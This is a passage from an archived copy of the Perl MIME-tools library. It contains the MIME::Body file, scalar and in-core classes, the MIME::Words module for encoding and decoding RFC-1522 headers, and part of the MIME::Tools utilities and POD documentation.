#------------------------------------------------------------

=head2 MIME::Body::File

A body class that stores the data in a disk file.  
The I/O handle is a wrapped filehandle.  Invoke the constructor as:

    $body = new MIME::Body::File "/path/to/file";

In this case, the C<path()> method would return the given path,
so you I<could> say:

    if (defined($body->path)) {
	open BODY, $body->path or die "open: $!";
	while (<BODY>) {
	    ### do stuff
        }
	close BODY;
    }

But you're best off not doing this.

=cut


### Pragmas:
use vars qw(@ISA);
use strict;

### System modules:
require FileHandle;

### Kit modules:
use MIME::Tools qw(whine);
use IO::Wrap;

@ISA = qw(MIME::Body);


#------------------------------
# init PATH
#------------------------------
sub init {
    my ($self, $path) = @_;
    $self->path($path);               ### use it as-is
    $self;
}

#------------------------------
# open READWRITE
#------------------------------
sub open {
    my ($self, $mode) = @_;
    my $IO;
    my $path = $self->path;
    if ($mode eq 'w') {          ### writing
	$IO = FileHandle->new(">$path") || die "write-open $path: $!";
    }
    elsif ($mode eq 'r') {       ### reading
	$IO = FileHandle->new("<$path") || die "read-open $path: $!";
    }
    else {  
	die "bad mode: '$mode'";
    }
    binmode($IO) if $self->binmode;        ### set binary read/write mode?
    return (IO::Wrap::wraphandle($IO));    ### wrap if old FileHandle class
}

#------------------------------
# purge 
#------------------------------
# Unlink the path (and undefine it).
#
sub purge {
    my $self = shift;
    if (defined($self->path)) {
	unlink $self->path or whine "couldn't unlink ".$self->path.": $!";
	$self->path(undef);
    }
    1;
}




#------------------------------------------------------------
package MIME::Body::Scalar;
#------------------------------------------------------------

=head2 MIME::Body::Scalar

A body class that stores the data in-core, in a simple scalar.
Invoke the constructor as:

    $body = new MIME::Body::Scalar \$string;

A single scalar argument sets the body to that value, exactly as though
you'd opened for the body for writing, written the value, 
and closed the body again:

    $body = new MIME::Body::Scalar "Line 1\nLine 2\nLine 3";

A single array reference sets the body to the result of joining all the
elements of that array together:

    $body = new MIME::Body::Scalar ["Line 1\n",
                                    "Line 2\n",
                                    "Line 3"];

Uses B<IO::Scalar> as the I/O handle.

=cut

use vars qw(@ISA);
use strict;

use Carp;
require FileHandle;

use IO::Scalar;

@ISA = qw(MIME::Body);


#------------------------------
# init DATA
#------------------------------
sub init {
    my ($self, $data) = @_;
    $data = join('', @$data)    if (ref($data) && (ref($data) eq 'ARRAY'));
    $self->{MBS_Data} = (defined($data) ? $data : '');
    $self;
}

#------------------------------
# as_string
#------------------------------
sub as_string {
    shift->{MBS_Data};
}

#------------------------------
# open READWRITE
#------------------------------
sub open {
    my ($self, $mode) = @_;
    $self->{MBS_Data} = '' if ($mode eq 'w');        ### writing
    return new IO::Scalar \($self->{MBS_Data});
}





#------------------------------------------------------------
package MIME::Body::InCore;
#------------------------------------------------------------

=head2 MIME::Body::InCore

A body class that stores the data in-core.
Invoke the constructor as:

    $body = new MIME::Body::InCore \$string;
    $body = new MIME::Body::InCore  $string;
    $body = new MIME::Body::InCore \@stringarray

A simple scalar argument sets the body to that value, exactly as though
you'd opened for the body for writing, written the value, 
and closed the body again:
    
    $body = new MIME::Body::InCore "Line 1\nLine 2\nLine 3";

A single array reference sets the body to the concatenation of all
scalars that it holds:

    $body = new MIME::Body::InCore ["Line 1\n",
                                    "Line 2\n",
                                    "Line 3"];

Uses B<IO::ScalarArray> as the I/O handle.

=cut

use vars qw(@ISA);
use strict;

use Carp;
require FileHandle;

use IO::ScalarArray;

@ISA = qw(MIME::Body);


#------------------------------
# init DATA
#------------------------------
sub init {
    my ($self, $data) = @_;
    if (!defined($data)) {  ### nothing
	$self->{MBC_Data} = [];
    }
    elsif (!ref($data)) {   ### simple scalar
	$self->{MBC_Data} = [ $data ];
    }
    elsif (ref($data) eq 'SCALAR') {
	$self->{MBC_Data} = [ $$data ];
    }
    elsif (ref($data) eq 'ARRAY') {
	$self->{MBC_Data} = $data;
    }
    else {
	croak "I can't handle DATA which is a ".ref($data)."\n";
    }
    $self;
}

#------------------------------
# as_string
#------------------------------
sub as_string {
    my $self = shift;
    return join '', @{$self->{MBC_Data}};
}

#------------------------------
# open READWRITE
#------------------------------
sub open {
    my ($self, $mode) = @_;
    $self->{MBC_Data} = [] if ($mode eq 'w');        ### writing
    return new IO::ScalarArray $self->{MBC_Data};
}


1;
__END__


#------------------------------

=head2 Defining your own subclasses

So you're not happy with files and scalar-arrays?
No problem: just define your own MIME::Body subclass, and make a subclass
of MIME::Parser or MIME::ParserBase which returns an instance of your
body class whenever appropriate in the C<new_body_for(head)> method.

Your "body" class must inherit from MIME::Body (or some subclass of it),
and it must either provide (or inherit the default for) the following 
methods...

The default inherited method I<should suffice> for all these:

    new                       
    binmode [ONOFF]           
    path

The default inherited method I<may suffice> for these, but perhaps 
there's a better implementation for your subclass.                       

    init ARGS...              
    as_lines                  
    as_string                 
    dup                       
    print                     
    purge 

The default inherited method I<will probably not suffice> for these:

    open                      



=head1 NOTES

One reason I didn't just use FileHandle or IO::Handle objects for message
bodies was that I wanted a "body" object to be a form of completely
encapsulated program-persistent storage; that is, I wanted users
to be able to write code like this...

   ### Get body handle from this MIME message, and read its data:
   $body = $entity->bodyhandle;
   $IO = $body->open("r");
   while (defined($_ = $IO->getline)) {
       print STDOUT $_;
   }
   $IO->close;

...without requiring that they know anything more about how the
$body object is actually storing its data (disk file, scalar variable,
array variable, or whatever).

Storing the body of each MIME message in a persistently-open
IO::Handle was a possibility, but it seemed like a bad idea,
considering that a single multipart MIME message could easily suck up
all the available file descriptors on some systems.  This risk increases 
if the user application is processing more than one MIME entity at a time.



=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.

Thanks to Achim Bohnet for suggesting that MIME::Parser not be restricted
to the use of FileHandles.



=head1 VERSION

$Revision: 5.203 $ $Date: 2000/06/10 06:38:02 $

=cut

#------------------------------
1;

wm357/MIME/Words.pm100755    312    144       24757  7116726463  13212 0ustar  webmailuserspackage MIME::Words;


=head1 NAME

MIME::Words - deal with RFC-1522 encoded words


=head1 SYNOPSIS

    use MIME::Words qw(:all);   
     
    ### Decode the string into another string, forgetting the charsets:
    $decoded = decode_mimewords(
          'To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>',
          );
    
    ### Split string into array of decoded [DATA,CHARSET] pairs:
    @decoded = decode_mimewords(
          'To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>',
          );
     
    ### Encode a single unsafe word:
    $encoded = encode_mimeword("\xABFran\xE7ois\xBB");
    
    ### Encode a string, trying to find the unsafe words inside it: 
    $encoded = encode_mimewords("Me and \xABFran\xE7ois\xBB in town");


=head1 DESCRIPTION

Fellow Americans, you probably won't know what the hell this module
is for.  Europeans, Russians, et al, you probably do.  C<:-)>. 

For example, here's a valid MIME header you might get:

      From: =?US-ASCII?Q?Keith_Moore?= <moore@cs.utk.edu>
      To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>
      CC: =?ISO-8859-1?Q?Andr=E9_?= Pirard <PIRARD@vm1.ulg.ac.be>
      Subject: =?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?=
       =?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?=
       =?US-ASCII?Q?.._cool!?=

The fields basically decode to (sorry, I can only approximate the
Latin characters with 7 bit sequences /o and 'e):

      From: Keith Moore <moore@cs.utk.edu>
      To: Keld J/orn Simonsen <keld@dkuug.dk>
      CC: Andr'e  Pirard <PIRARD@vm1.ulg.ac.be>
      Subject: If you can read this you understand the example... cool!


=head1 PUBLIC INTERFACE

=over 4

=cut

require 5.001;

### Pragmas:
use strict;
use vars qw($VERSION @EXPORT_OK %EXPORT_TAGS @ISA);

### Exporting:
use Exporter;
%EXPORT_TAGS = (all => [qw(decode_mimewords
			   encode_mimeword
			   encode_mimewords
			   )]);
Exporter::export_ok_tags('all');

### Inheritance:
@ISA = qw(Exporter);

### Other modules:
use MIME::Base64;
use MIME::QuotedPrint;



#------------------------------
#
# Globals...
#
#------------------------------

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

### Nonprintables (controls + x7F + 8bit):
my $NONPRINT = "\\x00-\\x1F\\x7F-\\xFF"; 


#------------------------------

# _decode_Q STRING
#     Private: used by _decode_header() to decode "Q" encoding, which is
#     almost, but not exactly, quoted-printable.  :-P
sub _decode_Q {
    my $str = shift;
    $str =~ s/=([\da-fA-F]{2})/pack("C", hex($1))/ge;  # RFC-1522, Q rule 1
    $str =~ s/_/\x20/g;                                # RFC-1522, Q rule 2
    $str;
}

# _encode_Q STRING
#     Private: used by _encode_header() to decode "Q" encoding, which is
#     almost, but not exactly, quoted-printable.  :-P
sub _encode_Q {
    my $str = shift;
    $str =~ s{([\?\=\_$NONPRINT])}{sprintf("=%02X", ord($1))}eog;
    $str;
}

# _decode_B STRING
#     Private: used by _decode_header() to decode "B" encoding.
sub _decode_B {
    my $str = shift;
    decode_base64($str);
}

# _encode_B STRING
#     Private: used by _decode_header() to decode "B" encoding.
sub _encode_B {
    my $str = shift;
    encode_base64($str);
}



#------------------------------

=item decode_mimewords ENCODED, [OPTS...]

Go through the string looking for RFC-1522-style "Q"
(quoted-printable, sort of) or "B" (base64) encoding, and decode them.

B<In an array context,> splits the ENCODED string into a list of decoded 
C<[DATA, CHARSET]> pairs, and returns that list.  Unencoded 
data are returned in a 1-element array C<[DATA]>, giving an effective 
CHARSET of C<undef>.

    $enc = '=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>';
    foreach (decode_mimewords($enc)) {
        print "", ($_[1] || 'US-ASCII'), ": ", $_[0], "\n";
    }

B<In a scalar context,> joins the "data" elements of the above list together,
and returns that.  This is information-lossy, but if you know that
all charsets in the ENCODED string are identical, it might be useful to you.

In the event of a syntax error, $@ will be set to a description 
of the error, but parsing will continue as best as possible (so as to
get I<something> back when decoding headers).
$@ will be false if no error was detected.

Any arguments past the ENCODED string are taken to define a hash of options:

=over 4

=item Field

Name of the mail field this string came from.  I<Currently ignored.>

=back

=cut

sub decode_mimewords {
    my $encstr = shift;
    my %params = @_;
    my @tokens;
    $@ = '';           ### error-return

    ### Collapse boundaries between adjacent encoded words:
    $encstr =~ s{(\?\=)\r?\n[ \t](\=\?)}{$1$2}gs;
    pos($encstr) = 0;
    ### print STDOUT "ENC = [", $encstr, "]\n";

    ### Decode:
    my ($charset, $encoding, $enc, $dec);
    while (1) {
	last if (pos($encstr) >= length($encstr));
	my $pos = pos($encstr);               ### save it

	### Case 1: are we looking at "=?..?..?="?
	if ($encstr =~    m{\G             # from where we left off..
			    =\?([^?]*)     # "=?" + charset +
			     \?([bq])      #  "?" + encoding +
			     \?([^?]+)     #  "?" + data maybe with spcs +
			     \?=           #  "?="
			    }xgi) {
	    ($charset, $encoding, $enc) = ($1, lc($2), $3);
	    $dec = (($encoding eq 'q') ? _decode_Q($enc) : _decode_B($enc));
	    push @tokens, [$dec, $charset];
	    next;
	}

	### Case 2: are we looking at a bad "=?..." prefix? 
	### We need this to detect problems for case 3, which stops at "=?":
	pos($encstr) = $pos;               # reset the pointer.
	if ($encstr =~ m{\G=\?}xg) {
	    $@ .= qq|unterminated "=?..?..?=" in "$encstr" (pos $pos)\n|;
	    push @tokens, ['=?'];
	    next;
	}

	### Case 3: are we looking at ordinary text?
	pos($encstr) = $pos;               # reset the pointer.
	if ($encstr =~ m{\G                # from where we left off...
			 ([\x00-\xFF]*?    #   shortest possible string,
			  \n*)             #   followed by 0 or more NLs,
		         (?=(\Z|=\?))      # terminated by "=?" or EOS
			}xg) {
	    length($1) or die "MIME::Words: internal logic err: empty token\n";
	    push @tokens, [$1];
	    next;
	}

	### Case 4: bug!
	die "MIME::Words: unexpected case:\n($encstr) pos $pos\n\t".
	    "Please alert developer.\n";
    }
    return (wantarray ? @tokens : join('',map {$_->[0]} @tokens));
}

#------------------------------

=item encode_mimeword RAW, [ENCODING], [CHARSET]

Encode a single RAW "word" that has unsafe characters.

    ### Encode "<<Franc,ois>>":
    $encoded = encode_mimeword("\xABFran\xE7ois\xBB");

You may specify the ENCODING (C<"Q"> or C<"B">), which defaults to C<"Q">.
You may specify the CHARSET, which defaults to C<iso-8859-1>.
    
The "word" will be encoded in its entirety.

=cut

sub encode_mimeword {
    my $word = shift;
    my $encoding = uc(shift || 'Q');
    my $charset  = uc(shift || 'ISO-8859-1');
    my $encfunc  = (($encoding eq 'Q') ? \&_encode_Q : \&_encode_B);
    "=?$charset?$encoding?" . &$encfunc($word) . "?=";
}

#------------------------------

=item encode_mimewords RAW, [OPTS]

Given a RAW string, try to find and encode all "unsafe" sequences 
of characters:

    ### Encode a string with some unsafe "words":
    $encoded = encode_mimewords("Me and \xABFran\xE7ois\xBB");

Returns the encoded string.
Any arguments past the RAW string are taken to define a hash of options:

=over 4

=item Charset

Encode all unsafe stuff with this charset.  Default is 'ISO-8859-1',
a.k.a. "Latin-1".

=item Encoding

The encoding to use, C<"q"> or C<"b">.  The default is C<"q">.

=item Field

Name of the mail field this string will be used in.  I<Currently ignored.>

=back

B<Warning:> this is a quick-and-dirty solution, intended for character
sets which overlap ASCII.  You may want to roll your own variant,
using C<encoded_mimeword()>, for your application.

=cut

sub encode_mimewords {
    my ($rawstr, %params) = @_;
    my $charset  = $params{Charset} || 'ISO-8859-1';
    my $encoding = lc($params{Encoding} || 'q');

    ### Encode any "words" with unsafe characters.
    ###    We limit such words to 18 characters, to guarantee that the 
    ###    worst-case encoding give us no more than 54 + ~10 < 75 characters
    my $word;
    $rawstr =~ s{([a-zA-Z0-9\x7F-\xFF]{1,18})}{     ### get next "word"
	$word = $1;
	(($word !~ /[$NONPRINT]/o) 
	 ? $word                                          ### no unsafe chars
	 : encode_mimeword($word, $encoding, $charset));  ### has unsafe chars
    }xeg;
    $rawstr;
}
1;
__END__


=back

=head1 NOTES

Exports its principle functions by default, in keeping with 
MIME::Base64 and MIME::QuotedPrint.


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.

Thanks also to...

      Kent Boortz        For providing the idea, and the baseline 
                         RFC-1522-decoding code!
      KJJ at PrimeNet    For requesting that this be split into
                         its own module.
      Stephane Barizien  For reporting a nasty bug.


=head1 VERSION

$Revision: 5.202 $ $Date: 2000/06/05 13:37:55 $

=cut


#------------------------------
# Execute simple test if run as a script.
#------------------------------
{ 
  package main; no strict;
  eval join('',<main::DATA>) || die "$@ $main::DATA" unless caller();
}
1;           # end the module
__END__


### Pick up other MIME stuff, just in case...
BEGIN { unshift @INC, ".", "./etc", "./lib" };
import MIME::Words;

my @encs = (
	    '=?US-ASCII?Q?Keith_Moore?= <moore@cs.utk.edu>',
	    '=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>',
	    '=?ISO-8859-1?Q?Andr=E9_?= Pirard <PIRARD@vm1.ulg.ac.be>',
	    ('=?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?='.
	     '=?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?='.
	     '=?US-ASCII?Q?.._cool!?='));
foreach $enc (@encs) {
    $x = decode_mimewords($enc);
    print "DEC: ", $x, "\n";
}

### Encode a single unsafe word:
$encoded = encode_mimeword("\xABFran\xE7ois\xBB");
print "ENC1: ", $encoded, "\n";
    
### Encode a string, trying to find the unsafe words inside it: 
$encoded = encode_mimewords("Me and \xABFran\xE7ois\xBB at the beach");
print "ENC2: ", $encoded, "\n";

### Encode "<<Franc,ois>>":
my $unsafe = <<EOF;
Me and \xABFran\xE7ois\xBB, down at the beach
with Dave <dave\@ether.net>
EOF
$encoded = encode_mimewords($unsafe);
print "ENC3: ", $encoded, "\n";
print "DEC3: ", scalar(decode_mimewords($encoded)), "\n";

### So we know everything went well...
exit 0;

#------------------------------


wm357/MIME/Tools.pm100755    312    144      133027  7125053010  13200 0ustar  webmailuserspackage MIME::Tools;

#------------------------------
# Because the POD documenation is pretty extensive, it follows
# the __END__ statement below...
#------------------------------

use strict;
use vars (qw(@ISA %CONFIG @EXPORT_OK %EXPORT_TAGS $VERSION $ME)); 

require Exporter;
use FileHandle;
use Carp;
use Benchmark;

$ME = "MIME-tools";

@ISA = qw(Exporter);

# Exporting (importing should only be done by modules in this toolkit!):
%EXPORT_TAGS = (
    'config' => [qw(%CONFIG)],
    'msgs'   => [qw(usage debug whine error)],
    'utils'  => [qw(benchmark catfile shellquote textual_type tmpopen )],  
    );
Exporter::export_ok_tags('config', 'msgs', 'utils');

# The TOOLKIT version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.211 $, 10;

# Configuration (do NOT alter this directly)...
# All legal CONFIG vars *must* be in here, even if only to be set to undef:
%CONFIG = 
    (
     DEBUGGING       => 0,
     QUIET           => 1,
     );

# Was this whine given?
my %AlreadySaid;


#------------------------------
#
# CONFIGURATION... (see below)
#
#------------------------------

sub config {
    my $class = shift;
    usage("config() is obsolete");

    # No args? Just return list:
    @_ or return keys %CONFIG; 
    my $method = lc(shift);
    return $class->$method(@_);
}

sub debugging {
    my ($class, $value) = @_;
    $CONFIG{'DEBUGGING'} = $value   if (@_ > 1);
    $CONFIG{'DEBUGGING'};
}

sub quiet {
    my ($class, $value) = @_;
    $CONFIG{'QUIET'} = $value   if (@_ > 1);
    $CONFIG{'QUIET'};
}

sub version {
    my ($class, $value) = @_;
    $VERSION;
}



#------------------------------
#
# MESSAGES...
#
#------------------------------

#------------------------------
#
# debug MESSAGE...
#
# Private: output a debug message.
#
sub debug { 
    print STDERR "DEBUG: ", @_, "\n"      if $CONFIG{DEBUGGING};
}

#------------------------------
#
# whine MESSAGE...
#
# Private: issue a whine, but only if $^W (-w) is true, and
# we're not being QUIET.
#
sub whine { 
    my ( $p,  $f,  $l,  $s) = caller(1);
    my $msg = "$ME: warning: ".join('', @_)."\n";
    warn $msg if ($^W && !$CONFIG{QUIET});
    return (wantarray ? () : undef);
}

#------------------------------
#
# error MESSAGE...
#
# Private: something failed; register general unhappiness.
#
sub error { 
    my $msg = "$ME: error: ".join('', @_)."\n";
    warn $msg if $^W;
    return (wantarray ? () : undef);
}

#------------------------------
#
# usage MESSAGE...
#
# Register unhappiness about usage (once per).
#
sub usage { 
    my ( $p,  $f,  $l,  $s) = caller(1);
    my ($cp, $cf, $cl, $cs) = caller(2);
    my $msg = join('', (($s =~ /::/) ? "$s() " : "${p}::$s() "), @_, "\n");
    my $loc = ($cf ? "\tin code called from $cf l.$cl" : '');
    warn "$msg$loc\n" if ($^W && !$CONFIG{QUIET} && !$AlreadySaid{$msg});
    $AlreadySaid{$msg} = 1;
    return (wantarray ? () : undef);
}



#------------------------------
#
# UTILS...
#
#------------------------------

#------------------------------
#
# benchmark CODE
#
# Private benchmarking utility.
#
sub benchmark(&) {
    my ($code) = @_;
    if (1) {
	my $t0 = new Benchmark;
	&$code;
	my $t1 = new Benchmark;
	return timestr(timediff($t1, $t0));
    }
    else {
	&$code;
	return "";
    }
}

#------------------------------
#
# catfile DIR, FILE
#
# Directory/file concatenation.
#
sub catfile {
    my ($parent, $child) = @_;
    if ($^O eq 'Mac') {
	$parent =~ s{:\Z}{};
	return "$parent:$child";
    }
    else {
	$parent =~ s{/\Z}{};
	return "$parent/$child";
    }
}

#------------------------------
#
# shellquote STRING
#
# Private utility: make string safe for shell.
#
sub shellquote {
    my $str = shift;
    $str =~ s/\$/\\\$/g;
    $str =~ s/\`/\\`/g;
    $str =~ s/\"/\\"/g;
    return "\"$str\"";        # wrap in double-quotes
}

#------------------------------
#
# textual_type MIMETYPE
#
# Function.  Does the given MIME type indicate a textlike document?
#
sub textual_type {
    ($_[0] =~ m{^(text|message)(/|\Z)}i);
}

#------------------------------
#
# tmpopen 
#
#
sub tmpopen {
    return IO::File->new_tmpfile;
}






#------------------------------
1;
package MIME::ToolUtils;
@MIME::ToolUtils::ISA = qw(MIME::Tools);
__END__


=head1 NAME

MIME-tools - modules for parsing (and creating!) MIME entities


=head1 SYNOPSIS

Here's some pretty basic code for B<parsing a MIME message,> and outputting
its decoded components to a given directory:

    use MIME::Parser;
     
    ### Create parser, and set some parsing options:
    my $parser = new MIME::Parser;
    $parser->output_under("$ENV{HOME}/mimemail");
     
    ### Parse input:
    $entity = $parser->parse(\*STDIN) or die "parse failed\n";
    
    ### Take a look at the top-level entity (and any parts it has):
    $entity->dump_skeleton; 


Here's some code which B<composes and sends a MIME message> containing 
three parts: a text file, an attached GIF, and some more text:

    use MIME::Entity;

    ### Create the top-level, and set up the mail headers:
    $top = MIME::Entity->build(Type    =>"multipart/mixed",
                               From    => "me\@myhost.com",
	                       To      => "you\@yourhost.com",
                               Subject => "Hello, nurse!");
    
    ### Part #1: a simple text document: 
    $top->attach(Path=>"./testin/short.txt");
    
    ### Part #2: a GIF file:
    $top->attach(Path        => "./docs/mime-sm.gif",
                 Type        => "image/gif",
                 Encoding    => "base64");
        
    ### Part #3: some literal text:
    $top->attach(Data=>$message);
    
    ### Send it:
    open MAIL, "| /usr/lib/sendmail -t -oi -oem" or die "open: $!";
    $top->print(\*MAIL);
    close MAIL;



=head1 DESCRIPTION

MIME-tools is a collection of Perl5 MIME:: modules for parsing, decoding,
I<and generating> single- or multipart (even nested multipart) MIME 
messages.  (Yes, kids, that means you can send messages with attached 
GIF files).



=head1 A QUICK TOUR

=head2 Overview of the classes

Here are the classes you'll generally be dealing with directly:


           .------------.
           | MIME::     |
           | Parser     |
           `------------'
              | parse()
              | returns a...
              |
              |
              |
              |    head()       .--------.
              |    returns...   | MIME:: | get()
              V       .-------->| Head   | etc... 
           .--------./          `--------'      
     .---> | MIME:: | 
     `-----| Entity |           .--------. 
   parts() `--------'\          | MIME:: | 
   returns            `-------->| Body   |
   sub-entities    bodyhandle() `--------'
   (if any)        returns...       | open() 
                                    | returns...
                                    | 
                                    V  
                                .--------. read()    
                                | IO::   | getline()  
                                | Handle | print()          
                                `--------' etc...    


To illustrate, parsing works this way:

=over 4

=item *

B<The "parser" parses the MIME stream.>
A parser is an instance of C<MIME::Parser>.  
You hand it an input stream (like a filehandle) to parse a message from: 
if the parse is successful, the result is an "entity".

=item *

B<A parsed message is represented by an "entity".>
An entity is an instance of C<MIME::Entity> (a subclass of C<Mail::Internet>).
If the message had "parts" (e.g., attachments), then those parts
are "entities" as well, contained inside the top-level entity.
Each entity has a "head" and a "body".

=item *

B<The entity's "head" contains information about the message.>  
A "head" is an instance of C<MIME::Head> (a subclass of C<Mail::Header>).
It contains information from the message header: content type,
sender, subject line, etc.

=item *

B<The entity's "body" knows where the message data is.>  
You can ask to "open" this data source for I<reading> or I<writing>, 
and you will get back an "I/O handle".

=item *

B<You can open() a "body" and get an "I/O handle" to read/write message data.>
This handle is an object that is basically like an IO::Handle or 
a FileHandle... it can be any class, so long as it supports a small,
standard set of methods for reading from or writing to the underlying
data source.

=back

A typical multipart message containing two parts -- a textual greeting 
and an "attached" GIF file -- would be a tree of MIME::Entity objects,
each of which would have its own MIME::Head.  Like this:

    .--------.
    | MIME:: | Content-type: multipart/mixed 
    | Entity | Subject: Happy Samhaine!
    `--------'
         |
         `----.
        parts |
              |   .--------.   
              |---| MIME:: | Content-type: text/plain; charset=us-ascii
              |   | Entity | Content-transfer-encoding: 7bit
              |   `--------' 
              |   .--------.   
              |---| MIME:: | Content-type: image/gif
                  | Entity | Content-transfer-encoding: base64
                  `--------' Content-disposition: inline; 
                               filename="hs.gif"



=head2 Parsing, in a nutshell

You usually start by creating an instance of B<MIME::Parser>
and setting up certain parsing parameters: what directory to save 
extracted files to, how to name the files, etc.

You then give that instance a readable filehandle on which waits a
MIME message.  If all goes well, you will get back a B<MIME::Entity>
object (a subclass of B<Mail::Internet>), which consists of...

=over 4

=item *

A B<MIME::Head> (a subclass of B<Mail::Header>) which holds the MIME 
header data.

=item *

A B<MIME::Body>, which is a object that knows where the body data is.
You ask this object to "open" itself for reading, and it
will hand you back an "I/O handle" for reading the data: this is
a FileHandle-like object, and could be of any class, so long as it
conforms to a subset of the B<IO::Handle> interface.  

=back

If the original message was a multipart document, the MIME::Entity
object will have a non-empty list of "parts", each of which is in 
turn a MIME::Entity (which might also be a multipart entity, etc, 
etc...).

Internally, the parser (in MIME::Parser) asks for instances 
of B<MIME::Decoder> whenever it needs to decode an encoded file.  
MIME::Decoder has a mapping from supported encodings (e.g., 'base64') 
to classes whose instances can decode them.  You can add to this mapping 
to try out new/experiment encodings.  You can also use 
MIME::Decoder by itself.  


=head2 Composing, in a nutshell

All message composition is done via the B<MIME::Entity> class.
For single-part messages, you can use the B<MIME::Entity/build>
constructor to create MIME entities very easily.

For multipart messages, you can start by creating a top-level
C<multipart> entity with B<MIME::Entity::build()>, and then use
the similar B<MIME::Entity::attach()> method to attach parts to 
that message.  I<Please note:> what most people think of as 
"a text message with an attached GIF file" is I<really> a multipart
message with 2 parts: the first being the text message, and the
second being the GIF file. 

When building MIME a entity, you'll have to provide two very important
pieces of information: the I<content type> and the 
I<content transfer encoding>.  The type is usually easy, as it is directly 
determined by the file format; e.g., an HTML file is C<text/html>.   
The encoding, however, is trickier... for example, some HTML files are
C<7bit>-compliant, but others might have very long lines and would need to be
sent C<quoted-printable> for reliability.  

See the section on encoding/decoding for more details, as well as
L<"A MIME PRIMER">.


=head2 Encoding/decoding, in a nutshell

The B<MIME::Decoder> class can be used to I<encode> as well; this is done
when printing MIME entities.  All the standard encodings are supported
(see L<"A MIME PRIMER"> for details): 

    Encoding...       Normally used when message contents are...
    -------------------------------------------------------------------
    7bit              7-bit data with under 1000 chars/line, or multipart.
    8bit              8-bit data with under 1000 chars/line.
    binary            8-bit data with possibly long lines (or no line breaks).
    quoted-printable  Text files with some 8-bit chars (e.g., Latin-1 text).
    base64            Binary files.

Which encoding you choose for a given document depends largely on 
(1) what you know about the document's contents (text vs binary), and
(2) whether you need the resulting message to have a reliable encoding
for 7-bit Internet email transport. 

In general, only C<quoted-printable> and C<base64> guarantee reliable
transport of all data; the other three "no-encoding" encodings simply
pass the data through, and are only reliable if that data is 7bit ASCII 
with under 1000 characters per line, and has no conflicts with the
multipart boundaries.

I've considered making it so that the content-type and encoding
can be automatically inferred from the file's path, but that seems
to be asking for trouble... or at least, for Mail::Cap...


=head2 Configuring this toolkit

If you want to tweak the way this toolkit works (for example, to 
turn on debugging), use the routines in the B<MIME::Tools> module.

=over

=item debugging

Turn debugging on/off.  Default is off.

     MIME::Tools->debugging(1);

=item quiet

Turn warnings on/off.  Default is quiet, meaning that warnings are silenced.

     MIME::Tools->quiet(1);

=item version

Return the toolkit version

     print MIME::Tools->version, "\n";

=back








=head2 Good advice

=over 4

=item *

B<Run with -w on.>  If you see a warning about a deprecated method,
change your code ASAP.  This will ease upgrades tremendously.

=item *

B<Don't try to MIME-encode using the non-standard MIME encodings.>
It's just not a good practice if you want people to be able to
read your messages.

=item *

B<Be aware of possible thrown exceptions.>
For example, if your mail-handling code absolutely must not die, 
then perform mail parsing like this:

    $entity = eval { $parser->parse(\*INPUT) };

Parsing is a complex process, and some components may throw exceptions
if seriously-bad things happen.  Since "seriously-bad" is in the
eye of the beholder, you're better off I<catching> possible exceptions 
instead of asking me to propagate C<undef> up the stack.  Use of exceptions in
reusable modules is one of those religious issues we're never all 
going to agree upon; thankfully, that's what C<eval{}> is good for.

=back




=head1 NOTES



=head2 Design issues

=over 4


=item Why the need for temp files?  Why not do everything in core?

Although the amount of core available on even a modest home
system continues to grow, the size of attachments continues
to grow with it.  I wanted to make sure that even users with small
systems could deal with decoding multi-megabyte sounds and movie files.
That means not being core-bound.


=item Why assume that MIME objects are email objects?

Achim Bohnet once pointed out that MIME headers do nothing more than
store a collection of attributes, and thus could be represented as
objects which don't inherit from Mail::Header.

I agree in principle, but RFC-1521 says otherwise.
RFC-1521 [MIME] headers are a syntactic subset of RFC-822 [email] headers.
Perhaps a better name for these modules would have been RFC1521:: 
instead of MIME::, but we're a little beyond that stage now.

When I originally wrote these modules for the CPAN, I agonized for a long
time about whether or not they really should subclass from B<Mail::Internet> 
(then at version 1.17).  Thanks to Graham Barr, who graciously evolved
MailTools 1.06 to be more MIME-friendly, unification was achieved
at MIME-tools release 2.0.   
The benefits in reuse alone have been substantial.

=back



=head2 Questionable practices

=over 4

=item Fuzzing of CRLF and newline on input

RFC-1521 dictates that MIME streams have lines terminated by CRLF
(C<"\r\n">).  However, it is extremely likely that folks will want to 
parse MIME streams where each line ends in the local newline 
character C<"\n"> instead. 

An attempt has been made to allow the parser to handle both CRLF 
and newline-terminated input.  


=item Fuzzing of CRLF and newline when decoding

The C<"7bit"> and C<"8bit"> decoders will decode both
a C<"\n"> and a C<"\r\n"> end-of-line sequence into a C<"\n">.

The C<"binary"> decoder (default if no encoding specified) 
still outputs stuff verbatim... so a MIME message with CRLFs 
and no explicit encoding will be output as a text file 
that, on many systems, will have an annoying ^M at the end of
each line... I<but this is as it should be>.


=item Fuzzing of CRLF and newline when encoding/composing

All encoders currently output the end-of-line sequence as a C<"\n">,
with the assumption that the local mail agent will perform
the conversion from newline to CRLF when sending the mail.
However, there probably should be an option to output CRLF as per RFC-1521.


=item Inability to handle multipart boundaries with embedded newlines

First, let's get something straight: this is an evil, EVIL practice.
If your mailer creates multipart boundary strings that contain 
newlines, give it two weeks notice and find another one.  If your
mail robot receives MIME mail like this, regard it as syntactically
incorrect, which it is.


=back




=head1 A MIME PRIMER

So you need to parse (or create) MIME, but you're not quite up on 
the specifics?  No problem...



